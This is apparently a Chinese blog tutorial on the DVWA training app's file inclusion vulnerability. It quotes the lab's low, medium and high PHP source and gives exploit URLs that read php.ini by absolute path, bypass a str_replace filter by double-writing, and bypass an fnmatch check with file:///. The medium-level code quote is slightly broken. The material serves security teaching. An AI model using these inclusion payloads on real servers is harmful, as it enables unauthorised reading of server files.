• DVWA之 File Inclusion 文件包含


    File Inclusion

    File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

    文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

    LOW级别:
    源码:

    vulnerabilities/fi/source/low.php
    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    ?>

    可以发现,服务器对page参数没有任何的过滤和检查。服务器希望用户点击图中的三个链接,服务器会包含相应文件,并将结果返回。需要说明的是。不管文件后缀是否是php,都会当做php文件执行,如果文件内容确认为php,则正常执行并返回结果,如果不是,则返回打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

    漏洞利用一:

    构造url(绝对路径):http://192.168.50.100/dvwa/vulnerabilities/fi/?page=C:phpStudyWWWdvwaphp.ini

     

     这样,就成功读取了服务器的文件。同时也可以再page后加相对路径,道理相同。

    Medium:

    代码:

    //Thepagewewishtodisplay
    $file=$_GET['page'];
    
    //Inputvalidation
    $file=str_replace(array("http://","https://"),"",$file);
    $file=str_replace(array("../","..""),"",$file);

    可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,

    将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    漏洞利用:可以通过双写绕过WAF。同时过滤的比较少,采用绝对路径的办法不受影响。

    http://192.168.50.100/dvwa/vulnerabilities/fi/?page=C:phpStudyWWWdvwaphp.ini

    HIGH

    代码:

    复制代码
    //Thepagewewishtodisplay
    $file=$_GET['page'];
    
    //Inputvalidation
    if(!fnmatch("file*",$file)&&$file!="include.php"){
       //Thisisn'tthepagewewant!
    echo"ERROR:Filenotfound!";
    exit;
    }
    复制代码

    可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

    看似安全,其实可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议。

    构造url:http://192.168.50.100/dvwa/vulnerabilities/fi/?page=file:///C:phpStudyWWWdvwaphp.ini

                              

  • 相关阅读:
    MyBatis Plus + Activiti 整合报错:org.springframework.beans.factory.UnsatisfiedDependencyException
    SQLTransientConnectionException: HikariPool-1
    深入分析Spring Boot2,解决 java.lang.ArrayStoreException异常
    vim命令
    Spring Security + JWT实现前后端分离权限认证
    前后端分离之JWT用户认证(转)
    MySQL高可用性之Keepalived+MySQL(双主热备)
    Linux下开启mysql数据库的远程访问权限
    Mysql主要索引方式:FULLTEXT,HASH,BTREE,RTREE。
    按照时间段查询日志文件
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12285861.html
Copyright © 2020-2023  润新知